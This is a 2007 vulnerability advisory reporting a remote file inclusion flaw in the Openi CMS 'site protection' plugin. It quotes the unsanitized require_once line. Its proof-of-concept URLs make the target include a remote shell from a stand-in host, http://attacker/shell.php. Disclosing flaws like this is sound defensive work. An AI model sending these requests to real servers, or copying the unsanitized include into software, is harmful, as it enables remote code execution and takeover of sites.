adv64-y3dips-2007.txt
Posted on 13 February 2007
------------------------------------------------------------------------------------ [ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion ------------------------------------------------------------------------------------ Author : Ahmad Muammar W.K (a.k.a) y3dips Date Found : February, 11 2007 Location : Indonesia, Jakarta web : http://echo.or.id/adv/adv64-y3dips-2007.txt Critical Lvl : Critical ------------------------------------------------------------------------------------ Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Internal range (site protection), version: 1.0 Openi CMS plugins (http://www.openi-cms.org) URL : http://www.openi-cms.org Download-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip Description : With this Plugin you can release page ranges only for certain users. The user must authentifizieren itself with user name and password. Several users for a page range can be put on. Users and sides which can be protected are put on in the editorship environment by the administrator. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~ Variables "oi_dir" in index.php are not properly sanitized. ---------------index.php -------------------- ... <?PHP global $config; require_once($config["oi_dir"]."/base/sitemap_classes.php"); class plg_site_protection extends Plugin { ... ---------------------------------------------- An attacker can exploit this vulnerability with a simple php injection script. Poc/Exploit: ~~~~~~~~~~~ http://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php ? Notes: ~~~~~ i have to change the variable "oi_dir" to "openi_dir" to get the cms works (config file), but then u just change the exploit to http://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php? it doesnt matter coz the variable still unsanitized. --------------------------------------------------------------------------- Shoutz: ~~~~~~ ~ my lovely ana ~ k-159 (never stop advising [pushing] me :P), the_day (echo young evil thinker), ~ and all echo staff ~ str0ke, waraxe, negative ~ newbie_hacker@yahoogroups.com ~ #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~~ y3dips|| echo|staff || y3dips[at]gmail[dot]com Homepage: http://y3dips.echo.or.id/
